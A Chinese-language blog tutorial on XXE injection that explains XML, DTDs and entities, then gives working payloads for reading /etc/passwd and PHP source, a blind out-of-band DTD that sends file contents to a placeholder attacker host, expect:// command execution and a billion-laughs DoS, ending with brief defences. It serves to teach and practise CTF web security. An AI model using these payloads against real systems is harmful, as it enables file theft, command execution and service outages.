1.什么是XXE?
xxe即"XML外部实体注入漏洞",顾名思义,是由于XML允许引入外部实体导致的漏洞,当程序没有禁止或者对外部实体做验证,攻击者构造特殊的xml语句传到服务器,服务器在传输给XML解释器,xml解释器根据外部实体进行处理后返回对应的内容给服务器,服务器再返回给用户
1.2 危害
- 任意文件读取(最常见)
- 命令执行(需要except模块支持)
- DOS攻击
- 端口扫描
2.认识XML
XML即可扩展标记语言,是一种类似于HTML具有标签且可以使电子文件具有结构性的一种语言,xml支持合法的自定义标签,用户可随意定义标签,常用于传输数据和存储数据
3.认识DTD
DTD即文档类型定义,用于规范一个XML文档的数据类型或者文档的结构,在内部定义或者外部定义
4.第一个XML文档
代码语言:javascript复制<!--xml标记头-->
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<!--内部的dtd-->
<!DOCTYPE info [
<!ELEMENT info (user,age)>
<!ELEMENT user (#PCDATA)>
<!ELEMENT age (#PCDATA)>
]>
<!--xml文档内容-->
<info>
<user>vFREE</user>
<age>19</age>
</info>
上面的内部dtd头中的内容,ELEMENT是固定的关键字 info(user,age)规定了,在info中,有user和age两个自定义的标签,且顺序要先是user,再写age user (#PCDATA)意思就是user标签中的内容是可以被解析的,下同 info就是根元素,可以理解成html的<body>标签
![图片占位-1]()
5.内部dtd和外部dtd
1.1 数据类型
开始之前,先了解一波dtd中可以定义的数据类型
- 空字符用 "EMPTY"
例子:<!ELEMENT 元素名 EMPTY>
- 可以被解析的数据 "PCDATA"
例子:<!ELEMENT 元素名 PCDATA> <元素名>(中间这一部分也是可以被解析的)</元素名>
- 标记内容不被解析,仅仅只是作为字符 "CDATA"
以 "<![CDATA[ " 开头,以"]]>"结尾 例子:<![CDATA[ <name>vFREE</name> ]]>
- 包含所有可解析的类型 "ANY"
例子:<!ELEMENT 元素名 ANY>
带有子元素的字符序列 "<!ELEMENT 根元素 (元素1,元素2,元素3......)>" 例子:<!ELEMENT 根元素 (元素1,元素2,元素3......)>
必须出现一次或者多次的元素 " " 例子:<!ELEMENT 元素名称 (子元素 )>
出现零次或者多次的元素 "*" 例子:<!ELEMENT 元素名称 (子元素*)>
必须出现零次或者一次 "?" 例子:<!ELEMENT 元素名称 (子元素?)>
1.2 内部dtd
代码语言:javascript复制内部dtd就是在XML文档中定义的dtd,用关键字DOCTYPE标记
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE 根元素 [
<!ELEMENT 元素名 (元素内容/类别)>
]>
<根元素>
xxxxxx
</根元素>
大概例子就是上面那样,使用关键字ELEMENTl来声明元素,例子如下
1.2 外部dtd
1.2.1 SYSTEM关键字
代码语言:javascript复制SYSTME关键字适用于引用系统文件夹下的dtd文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE 根元素名 SYSTEM "xxx.dtd">
1.2.2 PUBLIC关键字
代码语言:javascript复制PUBLIC适用于引用外部服务器上的公共dtd文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE 根元素名 PUBLIC "外部dtd文件的url">
6.实体
代码语言:javascript复制实体是用于定义普通文本为一个变量,用ENTITY关键字定义,实体引用则就是调用变量 引用实体用 " &实体名称; "
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE info [
<!ENTITY name "vFREE">
<!ENTITY age "19">
]>
<info>&name;&age;</info>
<!--输出vFREE和19-->
6.1 内部实体
代码语言:javascript复制语法:
<!ENTITY 实体名称 "实体值">
例子:
<!ENTITY name "vFREE">
<name>&name;</name>
6.2 外部实体
代码语言:javascript复制外部实体使用SYSTEM关键字进行引用
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE info [
<!ENTITY user SYSTEM "http://xxx.xxx/usr.dtd">
]>
<info><user>&user;</user></info>
6.3 实体小结
注意了,引用外部的dtd和引用外部的实体是不一样的,即使SYSTEM关键字一样,且无论是引用外部实体还是内部的dtd,都是要通过DOCTYPE关键字进行定义,定义实体使用ENTITY关键字,定义数据类型/类别用ELEMENT关键字
7.危害
- 文件读取
- 命令执行
- DOS攻击
- 内网端口探测
- ... ...
7.1 文件读取
- file协议
- php伪协议
7.1.1 file协议
代码语言:javascript复制文件读取在XXE利用中是最常见的,通过加载外部实体构造恶意的payload传到xml解析器让其执行获取内容,从而造成了文件读取 其原理也是因为允许外部实体的加载,导致可以加载本地的文件
<!--这个例子是加载外部实体-->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE passwd [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<passwd>&passwd;</passwd>
<!--这里的&passwd;相当于调用变量,通过实体符号&加实体名称passwd加;即可调用,注意这里要在可回显的位置放入-->
通过构造上述的payload,如果服务器存在xxe漏洞,并且还会输出处理后的结果的话,就会输出/etc/passwd文件中的内容
参考例题:http://ctf.vfree.ltd/ 中WEB题目xxelab1
7.1.2 PHP伪协议
代码语言:javascript复制上面的file多数用于读取普通文件,如果需要读取的文件是php呢?用file协议肯定不行的,因为用file协议读取相当于调取,被调取的php文件会被执行,但是不会输出php文件的内容,包括jsp,asp等语言也是不能直接用file协议读取,这里的话,需要用到php伪协议
php://fileter/read=convert.base64-encode/resource=xxx.php
代码语言:javascript复制<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE flag [
<!ENTITY flag SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.php">
]>
<flag>&flag;</flag>
用file协议读取php文件
很明显,根据响应内容并没有读取到内容 用php伪协议读取php文件
将文件以base64的形式读取出来,成功读取
7.1.3 XXE盲注
代码语言:javascript复制XXE盲注是指不会在我们传入恶意xml数据到服务器,xml解释器处理完后,不会输出我们想要的内容,此时需要通过数据外带的方式,通过在自己的服务器上开启一个监听端口,然后通过外部dtd文件访问服务器端口带上读取到的内容,这样子就可以监听到了 盲注需要用到参数实体,这里要用到%,用法差不多,多了一个%,其他的不变
<!ENTITY % 实体名称 SYSTEM "内容">
7.1.3.1 所需文件配置
代码语言:javascript复制xml文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE flag [
<!ENTITY % flag SYSTEM "http://xxxxxx/flag.dtd">
%flag;
]>
代码语言:javascript复制flag.dtd文件
<!ENTITY % passwd SYSTEM "file:///etc/passwd">
<!--这里就是读取passwd的文件,并且将读取到的内容赋予名称为passwd实体-->
<!ENTITY % url "<!ENETITY % url2 SYSTEM 'http://xxxxx:端口/?%passwd;'>">
<!--这里的实体套了一个实体,意思就是主动访问SYSTEM后面的url,并且引用实体名称%passwd的内容-->
%url;
%url2;
<!--每个参数实体都要调用-->
这里没有环境可以练习,暂时先这样子,以后有环境再补图,嘻嘻~
7.2 命令执行
代码语言:javascript复制命令执行的利用条件可能比较苛刻,需要支持expect协议
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE flag [
<!ENTITY flag SYSTEM "expect://id">
]>
<flag>&flag;</flag>
和引用外部实体的方法一样,不同的是,SYSTEM后面的内容是expect协议
7.3 DOS攻击
代码语言:javascript复制DOS攻击的原理就是通过不断引用调用自己定义的实体,从而导致xml解析器不断循环解析同一个外部实体,造成高并发
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dos [
<!ENTITY dos1 "dosdosdosdosdosdosdosdosdosdosdosdosdosdosdosdos">
<!ENTITY dos2 "&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;">
<!ENTITY dos3 "&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;">
<!ENTITY dos4 "&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;">
<!ENTITY dos5 "&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;">
<!ENTITY dos6 "&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;">
]>
<dos>&dos6;</dos>
大概和上面的差不多道理,通过定义dos1,然后定义dos2调用dos1,定义dos3调用dos2,然后dos2又调用dos,如此循环下去,过多的话,xml解释器就会占用过高的内存去处理
8.防御
- 解铃还须寄铃人,既然漏洞本身是因为允许解析外部实体而导致的漏洞,所以第一想到的防御方法就是禁用解析外部实体
libxml_disable_entity_loader(true);
//php代码中使其成为true即可
- 过滤SYSTEM,ENTITY之类的关键字
代码语言:javascript复制文中只介绍了xxe的冰山一角和基础的利用方式,更多的利用方式还在冰山底下,要后面可能还会更新,欢迎大家关注丫~
$ vFREE博客 = "http://www.vfree.ltd/"